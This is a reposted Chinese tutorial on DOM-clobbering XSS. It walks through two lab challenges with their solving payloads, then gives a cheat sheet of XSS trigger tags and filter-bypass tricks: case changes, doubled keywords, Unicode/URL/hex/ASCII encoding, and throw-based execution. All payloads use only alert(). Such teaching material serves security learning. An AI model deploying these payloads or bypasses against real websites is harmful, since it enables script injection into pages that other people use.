xss之DOM破坏

news2024/9/23 15:24:51

文章目录

  • DOM破坏
  • 漏洞的复现
    • https://xss.pwnfunction.com/
    • 基于bp学院DOM破坏漏洞复现
    • 思路分析
    • 实现
  • 常见的xss触发的标签
    • 没有过滤的情况
    • 存在过滤的情况

DOM破坏

DOM破坏就是⼀种将 HTML 代码注⼊⻚⾯中以操纵 DOM 并最终更改⻚⾯上 JavaScript ⾏为的技术。 在⽆法直接 XSS的情况下,我们就可以往这⽅向考虑。

漏洞的复现

https://xss.pwnfunction.com/

在这里插入图片描述
GET参数boomer被设置为boomer.innerHTML,通过get参数将内容写入h2标签内,而且有过滤框架DOMPurify

setTimeout可以接受函数或字符串作为参数并执行它。在这里,ok变量被执行,但它不存在。

这里的JS代码是没有任何关于ok参数的定义的,所以我们可以使用DOM破坏,通过DOM破坏,将HTML元素注入到DOM中。

创建JavaScript变量构造ok参数,因为setTimeout函数执行字符串,所以需要用到或者标签
构造pyload

<a id=ok href="tel:alert(1)">a

基于bp学院DOM破坏漏洞复现

在这里插入图片描述

思路分析

在这里插入图片描述
分析代码可以看到可以用DOM破坏来控制window.defaultAvatar ,前提是我们原来没有头像然后就可以可以⽤⼀个构造⼀个defaultAvatar.avatar 来进行xss攻击。
我们来举个例子

<a id=defaultAvatar><a id=defaultAvatar name=avatar href="1:&quot;οnerrοr=alert(1)//">

在这里插入图片描述
当输出 console.log(defaultAvatar)发现是一个数组,那就简单了,我们直接输出 console.log(defaultAvatar.avatar)发现输出的是a标签里面得内容。
在这里插入图片描述
我们在用alert方法打印一下defaultAvatar.avatar发现进行了弹窗,说明将href中的数据拿了出来。
在这里插入图片描述

<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;οnerrοr=alert(1)//">

我们再来分析一下这段代码
当我们看源码的时候发现src需要用双引号来进行闭合,但是注意一点的是"必须要用html的实体编码。当执行之后&quot就会被解析成了"实现了闭合。
为什么用cid这个伪协议呢,我们来举个例子
在这里插入图片描述
在这里插入图片描述
我们发现弹出了整个的url地址,因为是url地址所以&quot被解析成了%22
当我们用一个从来没有的协议
在这里插入图片描述

在这里插入图片描述
我们发现弹出的仅仅是href里面得内容,并且&quot也成功的解析成了"

实现

我们随便打开一个评论进行评论
在这里插入图片描述

提交之后再随便的评论一下发现触发了弹窗。
在这里插入图片描述

常见的xss触发的标签

没有过滤的情况

//<script>
<scirpt>alert("xss");</script>
//img
图片加载错误时触发
<img src="x" onerror=alert(1)>
<img src="1" onerror=eval("alert('xss')")>
鼠标指针移动到元素时触发
<img src=1 onmouseover="alert(1)">
鼠标指针移出时触发
<img src=1 onmouseout="alert(1)">
//<a>
<a href=javascript:alert('xss')>test</a>
<a href="" onclick=alert('xss')>a</a>
<a href="" onclick=eval(alert('xss'))>aa</a>
//<input>
<input onfocus="alert('xss');">
竞争焦点,从而触发onblur事件
<input onblur=alert("xss") autofocus><input autofocus>
通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<input onfocus="alert('xss');" autofocus>
//<svg>
<svg onload=alert(1)>
//javascript伪协议
<a>标签
<a href="javascript:alert('xss');">xss</a>
<iframe>标签
<iframe src=javascript:alert('xss');></iframe>
<img>标签
<img src=javascript:alert('xss')>//IE7以下
<form>标签
<form action="Javascript:alert(1)"><input type=submit>

存在过滤的情况

//过滤空格
用 / 代替空格
<img/src="x"/onerror=alert("xss");>
//过滤关键字
大小写绕过
<ImG sRc=x onerRor=alert("xss");>
双写关键字(有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过)
<imimgg srsrcc=x onerror=alert("xss");>
字符拼接(利用eval)
<img src="x" onerror="a=aler;b=t;c='(xss);';eval(a+b+c)">
//编码绕过
Unicode编码绕过
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
url编码绕过
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
Ascii码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
Hex绕过
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
//过滤双引号,单引号
如果是html标签中,我们可以不用引号;如果是在js中,我们可以用反引号代替单双引号
<img src="x" onerror=alert(``xss``);>
//过滤括号
当括号被过滤的时候可以使用throw来绕过
<svg/onload="window.οnerrοr=eval;throw'=alert\x281\x29';">

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2050674.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux·权限与工具-make

1. Makefile/makefile工具 首先展示一下&#xff0c;makefile工具如何使用。我们先写一个C语言程序 然后我们建立一个Makefile/makefile文件&#xff0c;m大小写均可。我们在文件中写入这样两行 wq保存退出后&#xff0c;我们使用 make 命令 可以看到生成了可执行程序&#xff…

无人机模拟训练室技术详解

无人机模拟训练室作为现代无人机技术培训的重要组成部分&#xff0c;集成了高精度模拟技术、先进的数据处理能力及高度交互的操作界面&#xff0c;为无人机操作员提供了一个安全、高效、接近实战的训练环境。以下是对无人机模拟训练室技术的详细解析&#xff0c;涵盖系统基础概…

为TI的 AM355移植uboot和linux内核

一、uboot移植 在移植之前要先对uboot的源码结构有一定熟悉 1.uboot源码顶层目录下各源码文件夹的作用 2.编译后生成的uboot.xxx 各文件后缀含义 关于以上两点社区已经有很多前辈总结的很详细&#xff0c;这里不做赘述。 对于uboot源码分析韦东山老师b站上有免费的课程&#x…

QT中Charts基本用法

QT中Charts基本用法 第一步:创建工程,添加Charts库 第二步:添加charts视图 注意要打上对钩 第三步:添加所需成员 第四步:编写初始化函数 第五步:添加测试数据

C++学习笔记之算法模板

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 一、双指针1.1 有序数组的合并1.2 快慢指针/删除有序数组中的重复项1.3 求和 二、动态规划2.1 自底向上和自顶向下&#xff08;带备忘录&#xff09;2.2 带有当前状…

浅谈哈希长度扩展攻击

攻击原理&#xff1a; 我们首先需要了解一下Message Authentication codes (MACs) &#xff0c;称为消息验证码&#xff0c;一般用于服务器验证消息的真实性。服务器把密钥和消息连接起来&#xff0c;用摘要算法获取摘要&#xff0c;对于H&#xff08;secret data&#xff09…

RabbitMq的基本理解

MQ概念及同步异步&#xff1a; 同步调用&#xff1a; 是一种编程模型&#xff0c;其中调用者发送请求并等待响应。在同步调用中&#xff0c;调用者会阻塞&#xff0c;直到被调用的方法返回结果。 异步调用: 是一种编程模型&#xff0c;其中调用者发送请求后立即返回&#x…

09结构型设计模式——组合模式

一、组合模式的简介 组合模式&#xff08;Composite Pattern&#xff09;是一种结构型设计模式&#xff0c;主要用于处理树形结构中的对象组合问题。它允许你将对象组合成树形结构&#xff0c;以表示部分-整体层次结构。组合模式使得客户端能够统一地对待单个对象和对象组合&a…

SEREN MC2电源匹配器控制器Matching Network Controller手侧

SEREN MC2电源匹配器控制器Matching Network Controller手侧

NC 反转链表

系列文章目录 文章目录 系列文章目录前言 前言 前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站&#xff0c;这篇文章男女通用&#xff0c;看懂了就去分享给你的码吧。 描述 给定一个单链…

亲测解决Bundler HTTPError Could not fetch specs from

这个问题源于ruby的网站连接不上&#xff0c;解决方法是修改网页地址或者网络配置。 环境 win11 ruby 问题原文 Retrying fetcher due to error (2/4): Bundler::HTTPError Could not fetch specs from https://rubygems.org/ due to underlying error <IO::TimeoutEr…

C# 将Dll嵌入exe中发布

一、制作模版Dll 二、在exe工程中添加Dll 1、添加上述“创建Dll”&#xff0c;并修改属性为&#xff1a;不复制到输出目录的嵌入资源 2、引用“Resource”中的dll文件&#xff0c;并修改属性&#xff1a;不复制到本地 三、添加重载Dll代码 1、添加以下代码 class DependentFi…

Modbus 通信协议详解

目录 一、概述二、Modbus 的作用三、Modbus 的工作原理1、四种数据类型2、三种工作模式3、三类功能码3.1 标志功能码3.2 Modbus 封装接口3.3 异常 4、Modbus 协议层4.1 协议数据单元4.2 访问数据4.3 数据模型寻址4.3.1 数据寻址范围4.3.2 数据地址起始值 4.4 大数据类型4.4.1 位…

频率检测计

前言 频率计是一种用于测量信号频率的仪器。它可以准确地确定电子信号的频率&#xff0c;广泛应用于电子设备的测试和维护中。频率计的工作原理通常包括对输入信号进行采样&#xff0c;并通过内部电路计算信号的周期&#xff0c;从而得到频率值。现代频率计通常具有高精度、高稳…

无线通信代码搬运/复现系列(1) : 重新审视具有每天线功率约束的 MIMO 容量:固定点迭代和交替优化

无线通信代码搬运/复现系列(1) “Revisiting the MIMO Capacity with Per-antenna Power Constraint: Fixed-point Iteration and Alternating Optimization,” IEEE Trans. Wireless Commun., vol. 18, no. 1, pp. 388-401, Jan. 2019 by T. M. Pham, R. Farrell, and L.-N. …

C++入门——05STL

STL&#xff08;Standard Template Library&#xff0c;标准模板库&#xff09;是C标准库的重要组成部分&#xff0c;是一个通用的数据结构和算法库。STL提供了一组经过精心设计的模板类和函数&#xff0c;用于处理各种常见的数据结构&#xff08;如容器&#xff09;和算法&…

六. 部署分类器-preprocess-speed-compare

目录 前言0. 简述1. 案例运行2. 代码分析2.1 main.cpp2.2 preprocess.cpp 3. 补充说明结语下载链接参考 前言 自动驾驶之心推出的 《CUDA与TensorRT部署实战课程》&#xff0c;链接。记录下个人学习笔记&#xff0c;仅供自己参考 本次课程我们来学习课程第六章—部署分类器&…

嵌入式面经篇八——进程线程

文章目录 前言一、进程&线程1、异步 IO 和同步 IO 区别&#xff1f;2、进程间通信方式&#xff1f;3、进程的地址空间模型&#xff1f;4、进程的五种状态分别是?5、子进程从父进程继承的资源有哪些&#xff1f;6、什么是进程上下文、中断上下文&#xff1f;7、如何防止僵尸…

写了一个分页 sql,因为粗心出了 bug 造成了 OOM!

大家好&#xff0c;我是君哥。 最近上完线后&#xff0c;凌晨收到一个生产告警&#xff0c;一个 OOM 异常导致了服务重启。今天来分享一下这个事故。 1.事故现场 事故的代码逻辑并不复杂&#xff0c;从一个大概有 8 万数据的表里面查出数据&#xff0c;汇总后对数据做处理。…

高校宣讲会管理系统--论文pf

TOC springboot370高校宣讲会管理系统--论文pf 第1章 绪论 1.1选题动因 当前的网络技术&#xff0c;软件技术等都具备成熟的理论基础&#xff0c;市场上也出现各种技术开发的软件&#xff0c;这些软件都被用于各个领域&#xff0c;包括生活和工作的领域。随着电脑和笔记本的…